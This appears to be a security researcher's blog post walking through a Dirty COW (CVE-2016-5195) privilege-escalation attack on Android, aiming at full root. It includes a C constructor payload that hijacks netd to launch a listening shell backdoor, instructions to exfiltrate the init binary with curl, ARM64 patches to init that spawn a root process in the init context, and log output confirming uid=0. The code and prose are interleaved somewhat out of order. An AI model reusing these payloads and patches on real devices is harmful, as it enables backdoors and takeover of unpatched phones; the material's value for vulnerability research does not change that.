Thanks to the great findings of CVE-2016-5195, you can check the detail in the link.
Dirty COW vulnerability: https://dirtycow.ninja/
PoC for Android: https://github.com/timwr/CVE-2016-5195
What you can do with the exploit, in short, you can modify arbitrary file if readable.
Well not just that, I'll explain it later.
To gain root privilege, in Linux, you have /etc/passwd, su, while in Android, no su, no mount rw on /system, but with SELINUX.
No su means root privilege is officially blocked, and even with capability to setuid, you can only root at restricted SELINUX context, like u:r:shell:s0.
No mount rw on /system means your modified data will not be written back to disk.
Dirty COW modifies the file mapping in Linux kernel, dirty data sync with disk will be blocked if device mounted read only.
So in Android, you have no decent privilege escalation way, and do not like reboot (kernel reboot).
What about modify services like lkmd, vold, netd which was already running as root.
I chose netd which has network policy granted by SELINUX. Then two problems came: netd is not readable by us and MAYBE you need to restart the process.
First problem is easy to resolve, for these executables are linked with multiple shared libraries like libsysutils.so. You can add function to AOSP code /system/core/libsysutils/src/ and recompile it with mmma command.
With __attribute__((constructor)), your function will be executed at linking.
To be noticed, file size can not be changed by the exploit and data exceed original size will be removed, so you need to trim the size of new so. Mostly a CFLAG -Os can be the key. In my experiment, I roughly made a so only with code below (netd will not function any more):
static void con() __attribute__((constructor));/system/bin/tc is a shell backdoor dirtycowed listening at random port acting like netcat or telnetd. Dirtycow your backdoor into another executable /system/bin which has SELINUX label "u:object_r:system_file:s0". Do not use busybox for some of its code would trigger SELINUX policy.
void con() {
if (getuid() == 0) {
char buf[255];
int fd = open("/proc/self/cmdline",O_RDONLY);
read(fd, buf, 255);
if (strstr(buf,"/system/bin/netd")) {
char * argv[]={"tc",NULL};
char * envp[]={0,NULL};
execve("/system/bin/tc",argv,envp);
}
Second problem, how to execute our modified code? Still need to another vulnerability to crash target process? After experimenting, the answer is NO.
When executing an ELF, Linux kernel maps the ELF into memory. The mapping will be reused when you open the ELF again. When you dirtycow the ELF file, existed ELF process image are changed too. That is to say, Dirty COW CAN MODIFY ANY RUNNING PROCESS IF READABLE. If the process ELF self is not readable, you still can cat /proc/{pid}/maps to find out if its loaded modules readable.
In my experimenting, after dirtycow libsysutil.so, netd soon crashed. The crash reason is SEGMENT FAULT, because CPU suddenly running our code with everything changed. Thanks to Android's watchdog, netd will be restarted.
Now you have the u:r:netd:s0 context, and you can get installd or system_server to control Android framework same way. What about the No.1 process init? Let's figure out what can be done in context u:r:init:s0.
For init, situation is different. We don't have any shared libraries and if init crashed the kernel will reboot. Okay seems have to patch the native code!
Firstly, check the init code, find out where init are running now.
https://android.googlesource.com/platform/system/core/+/master/init/init.cpp#698
That's a while loop. Seems we need to patch code running here.
Secondly, dump the init ELF. It's easy if you already have netd shell. But notice that even netd cannot access internal storage or /data, so use curl to post it out!
Check SimpleHTTPServerWithUpload here: https://gist.github.com/UniIsland/3346170
Then load init into reverse tools and choose an area for our own shellcode which our init would not possible run into it, like stack overflow protector in every functions:
STP X29, X30, [SP,#-0x10+var_s0]!Patch the stack cookie check condition instruction in function ExecuteOneCommand (https://android.googlesource.com/platform/system/core/+/master/init/init.cpp#700) to always jump (B) to our "protector":
ADRP X0, #aStackCorruptio@PAGE ; "stack corruption detected"
MOV X29, SP
ADD X0, X0, #aStackCorruptio@PAGEOFF ; "stack corruption detected"
BL sub_429678
MOV X8, #0x24
SVC 0
CMN X0, #1,LSL#12
CINV X0, X0, HI
B.HI loc_42A7DC
RET
LDR X21, [X22,#0xE10]
LDR X22, [X29,#0x160+var_8]
LDR X23, [X21]
CMP X22, X23
B.NE loc_404558 ; -> B loc_404558
LDP X19, X20, [SP,#0x160+var_150]
LDP X21, X22, [SP,#0x160+var_140]
LDP X23, X24, [SP,#0x160+var_130]
LDR X25, [SP,#0x160+var_120]
LDP X29, X30, [SP+0x160+var_160],#0x160
RET
Well write a full ARM64 shellcode is painful, you need to really careful not letting init crash. After digging, I found valuable functions in static linked init, just like this one:
android_fork_execvp_ext
https://android.googlesource.com/platform/system/core/+/master/logwrapper/logwrap.c#484
You can copy existed android_fork_execvp_ext invoke instructions and modify some offset. (In recent versions, two parameters opts and opts_len added, you can copy latest code and set opts_len to 0)
Try this helpful ARM converter: http://armconverter.com/
STP X29, X30, [SP, #-0x20]!Dirtycow /init in the netd shel, and adb shell setprop service.adb.tcp.port 5555 to continue the while loop in init. If you are lucky enough, you will see a forked process tftp_server running in u:r:init:s0 context. "/system/bin/tftp_server" is dirtycowed with our new shellcode, but socket is SELINUX restricted even running in u:r:init:s0. My implementation reads commands from /sdcard/ and writes output to logcat.
MOV X29, SP
MOV W0, #1 ; argc
ADR X2, aSystemBinTftp_ ;"/system/bin/tftp_server"
STR X2, [X29, #0x10]
ADD X1, X29, #0x10 ; argv
ADD X2, X29, #0x18 ; status
MOV W3, #1 ; ignore_int_quit
MOV W4, W0 ; log_target
MOV W5, #0 ; abbreviated
MOV X6, #0 ; file_path
BL android_fork_execvp_ext
LDP X29, X30, [SP], #0x20
B loc_4044F8
I/tftp_server( 1): pid: 18048, port: 51306What about root? In my device, mount system rw or reload SELINUX policy is restricted, but still has chance like insmod. Unfortunately, the OEM vendor of my phone enforces the kernel module signing and does not discloses the private key.
I/tftp_server( 1): selinux_ret: 0
I/tftp_server( 1): command: uid=0(root) gid=0(root) context=u:r:init_shell:s0
I/tftp_server( 1): telnetd/server.c:56: mount: Permission denied
I/tftp_server( 1): tftp_server terminated by exit(1)
Any help advance us to root is much appreciated!